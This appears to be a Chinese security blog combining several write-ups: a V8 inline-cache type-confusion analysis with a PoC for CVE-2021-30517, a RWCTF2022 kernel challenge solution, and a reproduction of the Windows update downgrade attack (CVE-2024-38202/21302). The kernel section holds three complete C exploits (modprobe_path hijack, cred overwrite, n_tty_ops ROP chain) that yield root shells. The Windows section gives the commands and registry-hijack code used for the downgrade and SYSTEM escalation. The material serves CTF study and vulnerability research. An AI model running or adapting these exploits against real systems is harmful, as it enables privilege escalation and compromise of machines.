bool IC::IsHandler(Tagged<MaybeObject> object) {
  Tagged<HeapObject> heap_object;
  return (IsSmi(object) && (object.ptr() != kNullAddress)) ||
         (object.GetHeapObjectIfWeak(&heap_object) &&
          (IsMap(heap_object) || IsPropertyCell(heap_object) ||
           IsAccessorPair(heap_object))) ||
         (object.GetHeapObjectIfStrong(&heap_object) &&
          (IsDataHandler(heap_object) || IsCode(heap_object)));
}

判断对象是否为有效 IC handler。检查 object 是否为 Code 或特定元数据（如偏移量）。用于验证反馈向量中的 handler，确保存储和执行的 handler 有效。

handler 生成时根据 Map 和访问模式创建（如 JIT 编译）。存储通过FeedbackNexus::ConfigureMonomorphic（单态，存 [name, map, handler] 或 [map, handler]）或 ConfigurePolymorphic（多态，存 [name, map1, handler1, ...]）。超态不存具体 handler，标记 MEGAMORPHIC 退化慢路径。更新由 RecomputeHandlerForName 检测失效，MarkRecomputeHandler 标记后通过 ConfigureVectorState 配置新 handler。验证用 IsHandler 确保有效性。

派生类
#

以下是 V8 引擎中从IC类派生出来的几个子类，它们分别用于优化不同类型的 JavaScript 操作

LoadIC：读取对象静态属性（如 obj.prop）
LoadGlobalIC：读取全局变量（如 alert）
KeyedLoadIC：用动态 key 读取属性（如 obj[key] 或 arr[i]）
StoreIC：写入对象静态属性（如 obj.prop = val）
StoreGlobalIC：写入全局变量（如 x = 1）
KeyedStoreIC：用动态 key 写入属性（如 obj[key] = val）
StoreInArrayLiteralIC：给数组字面量元素赋值（如 [1, 2, foo()] 中的 foo()）

CVE-2021-30517
#

这个漏洞可以说是后续多个 IC 漏洞的始祖，CVE-2021-38001、CVE-2022-1134等都与其有异曲同工之妙。

漏洞成因
#

https://issues.chromium.org/issues/40055688

accessor-assembler.cc

void AccessorAssembler::LoadSuperIC(const LoadICParameters* p) {
  ExitPoint direct_exit(this);

  TVARIABLE(MaybeObject, var_handler);
  Label if_handler(this, &var_handler), no_feedback(this),
      non_inlined(this, Label::kDeferred), try_polymorphic(this),
      miss(this, Label::kDeferred);

  GotoIf(IsUndefined(p->vector()), &no_feedback); <------- [0]

  // The lookup start object cannot be a SMI, since it's the home object's
  // prototype, and it's not possible to set SMIs as prototypes.
  TNode<Map> lookup_start_object_map =
      LoadReceiverMap(p->lookup_start_object());
  GotoIf(IsDeprecatedMap(lookup_start_object_map), &miss);

  TNode<MaybeObject> feedback = <------- [1]
      TryMonomorphicCase(p->slot(), CAST(p->vector()), lookup_start_object_map,
                         &if_handler, &var_handler, &try_polymorphic);

  BIND(&if_handler); <------- [2]
  {
    LazyLoadICParameters lazy_p(p);
    HandleLoadICHandlerCase(&lazy_p, CAST(var_handler.value()), &miss,
                            &direct_exit);
  }

  BIND(&no_feedback); <------- [3]
  { LoadSuperIC_NoFeedback(p); }

  BIND(&try_polymorphic); <------- [4]
  TNode<HeapObject> strong_feedback = GetHeapObjectIfStrong(feedback, &miss);
  {
    Comment("LoadSuperIC_try_polymorphic");
    GotoIfNot(IsWeakFixedArrayMap(LoadMap(strong_feedback)), &non_inlined);
    HandlePolymorphicCase(lookup_start_object_map, CAST(strong_feedback),
                          &if_handler, &var_handler, &miss);
  }

  BIND(&non_inlined); <------- [5]
  {
    // LoadIC_Noninlined can be used here, since it handles the
    // lookup_start_object != receiver case gracefully.
    LoadIC_Noninlined(p, lookup_start_object_map, strong_feedback, &var_handler,
                      &if_handler, &miss, &direct_exit);
  }

  BIND(&miss); <------- [6]
  direct_exit.ReturnCallRuntime(Runtime::kLoadWithReceiverIC_Miss, p->context(),
                                p->receiver(), p->lookup_start_object(),
                                p->name(), p->slot(), p->vector());
}

[0] 如果没有 feedback vector，则走 no_feedback 分支，调用 LoadSuperIC_NoFeedback()，由于 Lazy feedback allocation，开始几次的路径是[0]->[3]，最终的漏洞路径[0]->[1]->[4]->[5]，[0]->[1]中间的代码获取 lookup_start_object 的 Map

[1] 调用 TryMonomorphicCase，从 FeedbackVector 中读取指定 slot 的缓存信息。如果缓存命中当前对象 Map（lookup_start_object_map），将匹配的 handler 存入 var_handler 并跳转到 if_handler 分支

[2] if_handler 分支，CAST(var_handler.value()) 传入HandleLoadICHandlerCase，是 p->lookup_start_object() 的handler

void AccessorAssembler::HandleLoadICHandlerCase(
    const LazyLoadICParameters* p, TNode<Object> handler, Label* miss,
    ExitPoint* exit_point, ICMode ic_mode, OnNonExistent on_nonexistent,
    ElementSupport support_elements, LoadAccessMode access_mode) {
  Comment("have_handler");

  TVARIABLE(Object, var_holder, p->lookup_start_object());
  TVARIABLE(Object, var_smi_handler, handler);

  Label if_smi_handler(this, {&var_holder, &var_smi_handler});
  Label try_proto_handler(this, Label::kDeferred),
      call_handler(this, Label::kDeferred);

  Branch(TaggedIsSmi(handler), &if_smi_handler, &try_proto_handler);

  BIND(&try_proto_handler);
  {
    GotoIf(IsCodeMap(LoadMap(CAST(handler))), &call_handler);
    HandleLoadICProtoHandler(p, CAST(handler), &var_holder, &var_smi_handler,
                             &if_smi_handler, miss, exit_point, ic_mode,
                             access_mode);
  }

  // |handler| is a Smi, encoding what to do. See SmiHandler methods
  // for the encoding format.
  BIND(&if_smi_handler);
  {
    HandleLoadICSmiHandlerCase(
        p, var_holder.value(), CAST(var_smi_handler.value()), handler, miss,
        exit_point, ic_mode, on_nonexistent, support_elements, access_mode);
  }

  BIND(&call_handler); <------- [6]
  {
    exit_point->ReturnCallStub(LoadWithVectorDescriptor{}, CAST(handler),
                               p->context(), p->receiver(), p->name(),
                               p->slot(), p->vector());
  }
}

如果 handler 是一个 Code 对象（也就是缓存中的 handler 是直接可调用的 stub，缓存的机器码），程序会走到[6]处。

然而在[6]处，却让 p->receiver() 用了 p->lookup_start_object() 的 handler。当 lookup_start_object ≠ receiver 时，会造成类型混淆。

漏洞利用
#

PoC
#

function main() {
    class C {
        m() {
            super.prototype
        }
    }
    function f() {}
    C.prototype.__proto__ = f

    let c = new C()
    c.x0 = 1
    c.x1 = 1
    c.x2 = 1
    c.x3 = 1
    c.x4 = 0x42424242 / 2

    f.prototype
    c.m()
}
for (let i = 0; i < 0x100; ++i) {
    main()

C.prototype.__proto__ = f 设置了一个异常的原型链，现在原型链是：

C实例 -> C.prototype -> f (函数) -> Function.prototype -> Object.prototype

当执行super.prototype时：

super指向: C.prototype.__proto__，即函数f
查找prototype: 在函数f上查找prototype属性
结果: 应该返回f.prototype

f.prototype 是直接在函数对象上查找；super.prototype 是通过 super 机制，实际是在lookup_start_object（即f）上查找。

但是当 LoadSuperIC 生成（main运行个100多次就有了）时，查找prototype这个操作对应的handler被作用在了C而不是f上。

// 在LoadSuperIC中
// lookup_start_object 就是函数 f
TNode<Map> lookup_start_object_map = LoadReceiverMap(p->lookup_start_object());

// 在 HandleLoadICHandlerCase 中
// receiver 为 C
BIND(&call_handler); <------- [6]
  {
    exit_point->ReturnCallStub(LoadWithVectorDescriptor{}, CAST(handler),
                               p->context(), p->receiver(), p->name(),
                               p->slot(), p->vector());
  }

如图可以看到是生成了一个查询 ProtoType 的 handler，本该用于JSFunction ，由于上述漏洞代码混淆了 holder 和 receiver 导致其被用于 JS_OBJECT。

EXP
#

TBD

参考
#

从 RWCTF2022 Digging into kernel 1 & 2 学内核提权方法

root@beacox.space (BeaCox) — Mon, 14 Jul 2025 20:49:02 +0800

变年更博主了（悲）。

题目分析
#

用户态传入16字节数据，定义个结构体方便看。

struct xkData
{
    size_t *user_buf;
    unsigned int offset;
    unsigned int length;
};

主要看 xkmod_ioctl：

__int64 __fastcall xkmod_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
  xkData data; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+10h] [rbp-10h]

  v5 = __readgsqword(0x28u);
  if ( !arg )
    return 0LL;
  copy_from_user(&data, arg, 16LL);
  if ( cmd == 0x6666666 )
  {
    if ( buf && data.length <= 0x50 && data.offset <= 0x70 )
    {
      copy_from_user((char *)buf + (int)data.offset, data.user_buf, (int)data.length);
      return 0LL;
    }
  }
  else
  {
    if ( cmd != 0x7777777 )
    {
      if ( cmd == 0x1111111 )
        buf = (void *)kmem_cache_alloc(s, 3264LL);
      return 0LL;
    }
    if ( buf && data.length <= 0x50 && data.offset <= 0x70 )
    {
      copy_to_user(data.user_buf, (char *)buf + (int)data.offset);
      return 0LL;
    }
  }
  return xkmod_ioctl_cold();
}

是堆题经典的菜单，有 alloc, edit, read。

漏洞在xkmod_release。

int __fastcall xkmod_release(inode *inode, file *file)
{
  return kmem_cache_free(s, buf);
}

关闭设备文件时没有清理s，留下了悬垂指针，造成 UAF。

前置知识
#

Slub Allocator

这题的核心其实就是劫持 freelist，和用户态很像。只不过开了RANDOM_FREELIST ，两次分配的空间不一定连续，对这题没什么影响 :-)。

调试
#

91 0         0:00 {rcS} /bin/sh /etc/init.d/rcS

setsid cttyhack setuidgid 1000 sh

1000改成0拿 root shell 看 kallsyms，方便内核模块调试。

利用
#

解法1 modprobe_path
#

UAF 泄露堆地址，劫持 freelist 泄露 kernel 基地址。

可以通过 vmlinux-to-elf 将 vmlinux 转化为 ida 可分析 elf，然后搜索/sbin/modprobe计算modprobe_path的偏移量。

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sched.h>

#define MODPROBE_PATH_OFFSET 0x1444700
#define MAGIC_PATH "/home/pwned"

struct xkData
{
    size_t *user_buf;
    unsigned int offset;
    unsigned int length;
};

/* bind the process to specific core */
void bindCore(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("[*] Process binded to core %d\n", core);
}

void xkAlloc(int dev_fd, struct xkData *data)
{
    ioctl(dev_fd, 0x1111111, data);
}

void xkEdit(int dev_fd, struct xkData *data)
{
    ioctl(dev_fd, 0x6666666, data);
}

void xkRead(int dev_fd, struct xkData *data)
{
    ioctl(dev_fd, 0x7777777, data);
}

int main(int argc, char **argv, char **envp)
{
    int dev_fd[8], root_script_fd;
    size_t heap_leak, kernel_heap_base, secondary_startup_64_chunk, kernel_leak, kernel_base;
    char root_cmd[] = "#!/bin/sh\nchmod 777 /flag";
    char flag[0x100];
    int flag_fd;

    // bind the process to core 0  
    bindCore(0);

    // create fake modprobe_path file
    root_script_fd = open(MAGIC_PATH, O_RDWR | O_CREAT);
    write(root_script_fd, root_cmd, sizeof(root_cmd));
    close(root_script_fd);
    system("chmod +x " MAGIC_PATH);
    
    // kmalloc-192
    for (int i = 0; i < 8; i++) {
        dev_fd[i] = open("/dev/xkmod", O_RDONLY);
    }

    // UAF
    struct xkData data;
    data.user_buf = malloc(0x1000);
    data.offset = 0;
    data.length = 0x50;
    memset(data.user_buf, 0, 0x1000);
    xkAlloc(dev_fd[0], &data);
    xkEdit(dev_fd[0], &data);
    close(dev_fd[0]);

    // leak heap
    xkRead(dev_fd[1], &data);
    heap_leak = data.user_buf[0];
    // printf("[+] Heap l3ak: %p\n", (void *)heap_leak);
    // kernel heap base addr: page_offset_base
    kernel_heap_base = heap_leak & 0xFFFFFFFFF0000000;
    printf("[+] Kernel heap base: %p\n", (void *)kernel_heap_base);
    secondary_startup_64_chunk = kernel_heap_base + 0x9d000 - 0x10;
    printf("[+] Chunk for kernel base l3ak: %p\n", (void *)secondary_startup_64_chunk);

    // allocate chunk for kernel base leak
    memset(data.user_buf, 0, 0x1000);
    data.user_buf[0] = secondary_startup_64_chunk;
    data.offset = 0;
    data.length = 0x8;
    xkEdit(dev_fd[1], &data);
    xkAlloc(dev_fd[1], &data);
    xkAlloc(dev_fd[1], &data); // get the chunk
    data.length = 0x20;
    xkRead(dev_fd[1], &data);
    kernel_leak = data.user_buf[2];
    // printf("[+] Kernel l3ak: %p\n", (void *)kernel_leak);
    kernel_base = kernel_leak - 0x30;
    printf("[+] Kernel base: %p\n", (void *)kernel_base);

    // hijack modprobe_path
    puts("[*] hijacking modprobe_path...");
    xkAlloc(dev_fd[1], &data);
    close(dev_fd[1]); // won't free the double free chunk, create a new UAF
    data.user_buf[0] = kernel_base + MODPROBE_PATH_OFFSET - 0x10;
    data.offset = 0;
    data.length = 0x8;
    xkEdit(dev_fd[2], &data);
    xkAlloc(dev_fd[2], &data);
    xkAlloc(dev_fd[2], &data); // get the chunk
    strcpy((char *) &data.user_buf[2], MAGIC_PATH);
    data.length = 0x30;
    xkEdit(dev_fd[2], &data);

    // trigger the exploit
    puts("[*] trigerring fake modprobe_path...");   
    system("echo -e '\\xff\\xff\\xff\\xff' > /home/trigger");
    system("chmod +x /home/trigger");
    system("/home/trigger");

    // read flag
    memset(flag, 0, sizeof(flag));
    flag_fd = open("/flag", O_RDWR);
    read(flag_fd, flag, sizeof(flag));
    printf("[+] Flag: %s\n", flag);

    return 0;
}

在 xkmod_ioctl 的 kmem_cache_alloc 处下个断点，利用UAF劫持freelist之后可以看到第一个 alloc 返回的是之前的 object，再下一个已经被写为目标地址 &secondary_startup_64 - 0x10。通过该地址可以泄露内核基地址。

然后修改modprobe_path，再用非法文件触发 chmod 脚本即可。

解法2 修改子进程的 cred
#

对应 kernel 版本 cred 的分配方式源码如下：

void __init cred_init(void)
{
	/* allocate a slab in which we can store credentials */
	cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0,
			SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
}

struct cred *prepare_creds(void)
{
	struct task_struct *task = current;
	const struct cred *old;
	struct cred *new;

	validate_process_creds();

	new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
	if (!new)
		return NULL;
    ...

从源码看，cred_jar 设置了 SLAB_ACCOUNT，不应该和题目中的lalala一起合并到kmalloc-192。但是这题能利用这种方法啊……真相只有一个：

__int64 cred_init()
{
  __int64 result; // rax

  result = kmem_cache_create(aCredJar, 0xA8LL, 0LL, 0x42000LL, 0LL);
  qword_FFFFFFFF82AFA220 = result;
  return result;
}

反编译 vmlinux，标志位是0x42000。对应的标志应该是SLAB_HWCACHE_ALIGN和SLAB_PANIC，没有SLAB_ACCOUNT。答案是这题的内核并非“原装”的 v5.4.38，可能特意改了 cred_init 的实现。

总之，在这题里 cred 结构体和内核模块的 slab 都合并到 kmalloc-192。因此可以 fork 一个子进程，利用内核模块的 UAF 修改子进程的 cred 完成提权。

该版本 cred 结构体如下：

struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* number of processes subscribed */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
	kuid_t		euid;		/* effective UID of the task */
	kgid_t		egid;		/* effective GID of the task */
	kuid_t		fsuid;		/* UID for VFS ops */
	kgid_t		fsgid;		/* GID for VFS ops */
        ...
} __randomize_layout;

网上大多说把 uid~fsgid 全置为0，实际上权限主要与 uid 和 euid 有关，这两个置为0就够了。当然只修改 uid 为0再在用户态设置 euid 也行。

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sched.h>
#include <sys/wait.h>

struct xkData
{
    size_t *user_buf;
    unsigned int offset;
    unsigned int length;
};

/* bind the process to specific core */
void bindCore(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("[*] Process binded to core %d\n", core);
}

void xkAlloc(int dev_fd, struct xkData *data)
{
    ioctl(dev_fd, 0x1111111, data);
}

void xkEdit(int dev_fd, struct xkData *data)
{
    ioctl(dev_fd, 0x6666666, data);
}

void xkRead(int dev_fd, struct xkData *data)
{
    ioctl(dev_fd, 0x7777777, data);
}

int main(int argc, char **argv, char *envp)
{
    int dev_fd[2];
    size_t buf[0x100];
    struct xkData data;

    bindCore(0);

    for (int i = 0; i < 2; i++)
        dev_fd[i] = open("/dev/xkmod", O_RDONLY);

    // no need to l3ak
    data.user_buf = malloc(0x100);
    data.offset = 0;
    data.length = 0x50;

    xkAlloc(dev_fd[0], &data);
    close(dev_fd[0]);

    int pid = fork();
    if (!pid)
    {
        xkRead(dev_fd[1], &data);
            
        if (((int*)(data.user_buf))[0] == 2) // usage
        {
            ((int*)(data.user_buf))[1] = 0; // uid
            ((int*)(data.user_buf))[5] = 0; // euid
            xkEdit(dev_fd[1], &data);
            if (!getuid())
            {
                puts("[+] Root shell spawned!");
                system("/bin/sh");
                exit(0);
            }
            else
            {
                puts("[!] Failed to get root shell!");
                exit(1);
            }
        }
        else
        {
            puts("[x] Failed!");
            exit(2);
        }
    }
    wait(NULL);
}

解法3 劫持 n_tty_ops
#

CONFIG_BINFMT_MISC=n或CONFIG_STATIC_USERMODEHELPER=y情况下，劫持modprobe_path的方法失效（应该）。假如，这道题是独立的 kmem_cache 的 UAF，且配置项使得modprobe_path方法失效，如何呢？可以劫持n_tty_ops。

放一张陈年老图说明劫持该结构体的流程：

先看这个结构体的定义：

static struct tty_ldisc_ops n_tty_ops = {
	.magic           = TTY_LDISC_MAGIC,
	.name            = "n_tty",
	.open            = n_tty_open,
	.close           = n_tty_close,
	.flush_buffer    = n_tty_flush_buffer,
	.read            = n_tty_read,
	.write           = n_tty_write,
	.ioctl           = n_tty_ioctl,
	.set_termios     = n_tty_set_termios,
	.poll            = n_tty_poll,
	.receive_buf     = n_tty_receive_buf,
	.write_wakeup    = n_tty_write_wakeup,
	.receive_buf2	 = n_tty_receive_buf2,
};

struct tty_ldisc_ops {
	int	magic;
	char	*name;
	int	num;
	int	flags;

	/*
	 * The following routines are called from above.
	 */
	int	(*open)(struct tty_struct *);
	void	(*close)(struct tty_struct *);
	void	(*flush_buffer)(struct tty_struct *tty);
	ssize_t	(*read)(struct tty_struct *tty, struct file *file,
			unsigned char __user *buf, size_t nr);
	ssize_t	(*write)(struct tty_struct *tty, struct file *file,
			 const unsigned char *buf, size_t nr);
	int	(*ioctl)(struct tty_struct *tty, struct file *file,
			 unsigned int cmd, unsigned long arg);
	int	(*compat_ioctl)(struct tty_struct *tty, struct file *file,
				unsigned int cmd, unsigned long arg);
	void	(*set_termios)(struct tty_struct *tty, struct ktermios *old);
	__poll_t (*poll)(struct tty_struct *, struct file *,
			     struct poll_table_struct *);
	int	(*hangup)(struct tty_struct *tty);

	/*
	 * The following routines are called from below.
	 */
	void	(*receive_buf)(struct tty_struct *, const unsigned char *cp,
			       char *fp, int count);
	void	(*write_wakeup)(struct tty_struct *);
	void	(*dcd_change)(struct tty_struct *, unsigned int);
	int	(*receive_buf2)(struct tty_struct *, const unsigned char *cp,
				char *fp, int count);

	struct  module *owner;

	int refcount;
};

找一下 n_tty_ops：

__int64 n_tty_init()
{
  return tty_register_ldisc(0LL, &unk_FFFFFFFF824B1160);
}

利用pt_regs来构造 ROP。劫持 n_tty_ops.read 为 stack pivot gadget，syscall read 触发。pivot 到 pt_regs 执行我们构造的 ROP 链（不过“新”版本 kernel pt_regs 与我们触发劫持内核执行流时的栈间偏移值不再是固定值）。利用swapgs_restore_regs_and_return_to_usermode从内核态返回用户态提权，提权后要修复n_tty_ops，不然拿到 root shell 也无法交互。

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <unistd.h>
#include <sched.h>

#define N_TTY_OPS                                   0xffffffff824B1160
#define N_TTY_OPEN                                  0xffffffff81466710
#define N_TTY_CLOSE                                 0xffffffff81464dc0
#define N_TTY_FLUSH_BUFFER                          0xffffffff814654b0
#define N_TTY_READ                                  0xffffffff81465a10
#define N_TTY_READ_ADDR                             0xffffffff824b1190
#define PREPARE_KERNEL_CRED                         0xffffffff8108a9a0
#define POP_RDI_RET                                 0xffffffff81001518
#define COMMIT_CREDS                                0xffffffff8108a660
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE  0xffffffff81c00a2f
#define XCHG_RAX_RDI_RET                            0xffffffff8148c492
#define ADD_RSP_0XC8_RET                            0xffffffff811454aa

int dev_fd[8], root_script_fd, kernel_offset;
size_t heap_leak, kernel_heap_base, secondary_startup_64_chunk, kernel_leak, kernel_base;
size_t prepare_kernel_cred, commit_creds, swapgs_restore_regs_and_return_to_usermode;
size_t pop_rdi_ret, xchg_rax_rdi_ret;

struct xkData
{
    size_t *user_buf;
    unsigned int offset;
    unsigned int length;
}data;

/* bind the process to specific core */
void bindCore(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("[*] Process binded to core %d\n", core);
}

void xkAlloc(int dev_fd, struct xkData *data)
{
    ioctl(dev_fd, 0x1111111, data);
}

void xkEdit(int dev_fd, struct xkData *data)
{
    ioctl(dev_fd, 0x6666666, data);
}

void xkRead(int dev_fd, struct xkData *data)
{
    ioctl(dev_fd, 0x7777777, data);
}

int main(int argc, char **argv, char *envp)
{
    // bind the process to core 0  
    bindCore(0);
    
    // kmalloc-192
    for (int i = 0; i < 8; i++) {
        dev_fd[i] = open("/dev/xkmod", O_RDONLY);
    }

    // UAF
    data.user_buf = malloc(0x1000);
    data.offset = 0;
    data.length = 0x50;
    memset(data.user_buf, 0, 0x1000);
    xkAlloc(dev_fd[0], &data);
    xkEdit(dev_fd[0], &data);
    close(dev_fd[0]);

    // leak heap
    xkRead(dev_fd[1], &data);
    heap_leak = data.user_buf[0];
    // printf("[+] Heap l3ak: %p\n", (void *)heap_leak);
    // kernel heap base addr: page_offset_base
    kernel_heap_base = heap_leak & 0xFFFFFFFFF0000000;
    printf("[+] Kernel heap base: %p\n", (void *)kernel_heap_base);
    secondary_startup_64_chunk = kernel_heap_base + 0x9d000 - 0x10;
    printf("[+] Chunk for kernel base l3ak: %p\n", (void *)secondary_startup_64_chunk);

    // allocate chunk for kernel base leak
    memset(data.user_buf, 0, 0x1000);
    data.user_buf[0] = secondary_startup_64_chunk;
    data.offset = 0;
    data.length = 0x8;
    xkEdit(dev_fd[1], &data);
    xkAlloc(dev_fd[1], &data);
    xkAlloc(dev_fd[1], &data); // get the chunk
    data.length = 0x20;
    xkRead(dev_fd[1], &data);
    kernel_leak = data.user_buf[2];
    // printf("[+] Kernel l3ak: %p\n", (void *)kernel_leak);
    kernel_base = kernel_leak - 0x30;
    printf("[+] Kernel base: %p\n", (void *)kernel_base);
    kernel_offset = kernel_base - 0xFFFFFFFF81000000;

    // hijack n_tty_ops
    puts("[*] hijacking n_tty_ops...");
    xkAlloc(dev_fd[1], &data);
    close(dev_fd[1]); // won't free the double free chunk, create a new UAF
    data.user_buf[0] = kernel_offset + N_TTY_READ_ADDR - 0x20; // next will be &n_tty_ops.num, next->next == 0
    data.offset = 0;
    data.length = 0x8;
    xkEdit(dev_fd[2], &data);
    xkAlloc(dev_fd[2], &data);
    xkAlloc(dev_fd[2], &data); // get the chunk
    data.user_buf[0] = 0;
    data.user_buf[1] = kernel_offset + N_TTY_OPEN;
    data.user_buf[2] = kernel_offset + N_TTY_CLOSE;
    data.user_buf[3] = kernel_offset + N_TTY_FLUSH_BUFFER;
    data.user_buf[4] = kernel_offset + ADD_RSP_0XC8_RET; // kernel_base + 0x1454aa
    data.length = 0x28;
    xkEdit(dev_fd[2], &data); // now n_tty_ops.read is add_rsp_0xc8_ret

    // hijack rip
    puts("[*] hijacking rip...");
    pop_rdi_ret = POP_RDI_RET + kernel_offset;
    prepare_kernel_cred = PREPARE_KERNEL_CRED + kernel_offset;
    xchg_rax_rdi_ret = XCHG_RAX_RDI_RET + kernel_offset;
    commit_creds = COMMIT_CREDS + kernel_offset;
    swapgs_restore_regs_and_return_to_usermode = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + kernel_offset + 0xa; //  pop r11; pop r10; ...
    // add_rsp_0xc8_ret will pivot the stack to pt_regs
    __asm__(
        "mov r15,   pop_rdi_ret;"
        "xor r14,   r14;"
        "mov r13,   prepare_kernel_cred;"
        "mov r12,   xchg_rax_rdi_ret;"
        "mov rbp,   commit_creds;"
        "mov rbx,   swapgs_restore_regs_and_return_to_usermode;"
        //"mov r11,   0x66666666;"
        //"mov r10,   0x77777777;"
        //"mov r9,    0x88888888;"
        //"mov r8,    0x99999999;"
        "xor rax,   rax;"
        "mov rcx,   0xaaaaaaaa;"
        "mov rdx,   0x8;"
        "mov rsi,   rsp;"
        "xor rdi,   rdi;"
        "syscall"
    );
    /* the rop chain is:
    pop_rdi_ret;
    0;
    prepare_kernel_cred;
    xchg_rax_rdi_ret; // let the return value of prepare_kernel_cred be in rdi
    commit_creds; commit_creds(ret of prepare_kernel_cred);
    swapgs_restore_regs_and_return_to_usermode;
    padding...
    user_shell_addr
    user_cs
    user_rflags
    user_sp
    user_ss
    */

    if (!getuid())
    {
        puts("[+] Now we are root!");
    }
    else
    {
        puts("Failed wtf?!");
        exit(1);
    }

    // repair n_tty_ops
    puts("[*] Repairing n_tty_ops...");
    data.user_buf[4] = N_TTY_READ + kernel_offset;
    xkEdit(dev_fd[2], &data);
    puts("[+] Root shell spwaned!");
    system("/bin/sh");

    return 0;
}

最好全部用全局变量。笔者原先定义xkData为局部变量，但是在data.user_buf[4] = N_TTY_READ + kernel_offset;这一句 segmentation fault 了，暂时没有探究具体原理。在写exp时也是因为这个问题多花了几十分钟。

参考资料
#

Windows 更新降级攻击复现与分析

root@beacox.space (BeaCox) — Thu, 22 Aug 2024 14:00:00 +0000

SafeBreach 的安全研究员 Alon Leviev 在 Black Hat 2024 上揭示了两个漏洞CVE-2024-38202 和 CVE-2024-21302 ，可用于破坏 Windows 更新的完整性并重新引入数千个以前修复的漏洞，从而将修补后的系统重新变成 0day 漏洞的目标。

环境准备
#

Windows版本：Windows 11 消费者版本 23H2（2024年6月更新）x64

磁力连接：

ed2k://|file|zh-cn_windows_11_consumer_editions_version_23h2_updated_june_2024_x64_dvd_78b33b16.iso|7141826560|9BCE0FF18791A035ED8541A3EF8C791A|/

下载后导入到 VMware。

PoC 工具下载
#

https://github.com/SafeBreach-Labs/WindowsDowndate 仓库中也提供了 PyInstaller 构建好的可执行程序。

漏洞复现
#

运行 winver 看一下版本：Windows11 23H2 22631.3880

以管理员权限运行PoC程序，降级到 CVE-2023-21768 可攻击的环境（AFD 驱动）：

./windows_downdate --config-xml examples/CVE-2023-21768-AFD-Driver-EoP-Patch-Downgrade/Config.xml

需要重启，重启完成后运行cmd。切换到 CVE-2023-21768 利用程序目录，运行 whomai 可知目前是普通用户。找到当前 cmd 的 pid：

tasklist | find "cmd.exe"

运行 CVE-2023-21768 利用程序，指定要提升权限的进程为当前 cmd 进程：

.\Windows_AFD_LPE_CVE-2023-21768.exe <pid>

再次运行 whoami 发现已经拿到 system 权限。

漏洞分析
#

我能够使完全修补的 Windows 机器容易受到数千个过去漏洞的影响，将修复的漏洞变成零日漏洞，并使“完全修补”一词在世界上任何 Windows 机器上都毫无意义。

Windows 更新流程
#

首先需要知道的是，Windows 的更新需要客户端管理权限，而更新服务器会运行受信任的安装程序来完成更新。即使是 SYSTEM 权限，也不能修改 Windows 更细节机制拥有的系统文件。

Windows 更新流程包括以下步骤：

首先，客户端要求服务器执行它提供的更新文件夹中包含的更新。

然后，服务器验证更新文件夹的完整性。

验证后，服务器将对更新文件夹进行操作，以完成更新文件。它们被保存到服务器控制的文件夹中，客户端无法访问该文件夹。

服务器将操作列表保存到服务器控制的文件夹中，客户端无法访问该文件夹。操作列表名为 Pending.xml，其中包含要执行的更新操作。例如，它指定要更新的文件、源文件和目标文件等。

最后，当操作系统重启时，将对操作列表进行操作，并在重启过程中执行更新操作。

其中第5步的更新是由受信任的安装程序在服务器端强制执行的，管理员想要提权到受信任安装程序权限会被 EDR（Endpoint Detection and Response）阻止。因此想要代替更新服务器来完成更新是不可能的。

作者一开始的目标是更新文件夹中的差异文件。但是 manifest 里硬编码了更新文件的哈希值，而更改这个值会破坏 manifest 文件的签名（在 catalog 文件中）。

漏洞点
#

于是作者把目标放在了操作列表（pending.xml）的修改上，并发现了注册表一个名为PoqexecCmdline的有趣的 key，它包含了一个可以解析操作列表和操作列表路径的可执行程序。其路径为HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SideBySide\Configuration\PoqexecCmdline。

而且这个 key 不是由受信任的安装程序强制执行，意味着我们可以用管理员权限来修改添加这个key并修改其值。这个 key 的作用是什么呢？它标志着需要更新，受信任安装服务在检测到这个 key 后，会将其值作为命令执行，而这个命令可以用于解析操作列表及其路径，这意味着修改这个 key 也就完全控制了操作列表。源代码中定义：

def register_poqexec_cmd(poqexec_cmd: str) -> None:
    """
    Registers the PoqexecCmdLine registry key containing the Pending.xml path

    :param poqexec_cmd: The PoqExec.exe command line. Usually it is as follows -
        path/to/poqexec.exe params pending_xml_nt_path
    :return: None
    """
    set_reg_value(winreg.HKEY_LOCAL_MACHINE,
                  SIDE_BY_SIDE_CONFIGURATION_REGISTRY_PATH,
                  "PoqexecCmdline",
                  [poqexec_cmd],
                  winreg.REG_MULTI_SZ)

源代码中调用：

def pend_update(pending_xml_path: str, impersonate_ti: bool) -> None:
    ...
    poqexec_path_exp = os.path.expandvars(POQEXEC_PATH)
    poqexec_cmd = f"{poqexec_path_exp} /display_progress \\??\\{pending_xml_path}"
    register_poqexec_cmd(poqexec_cmd)

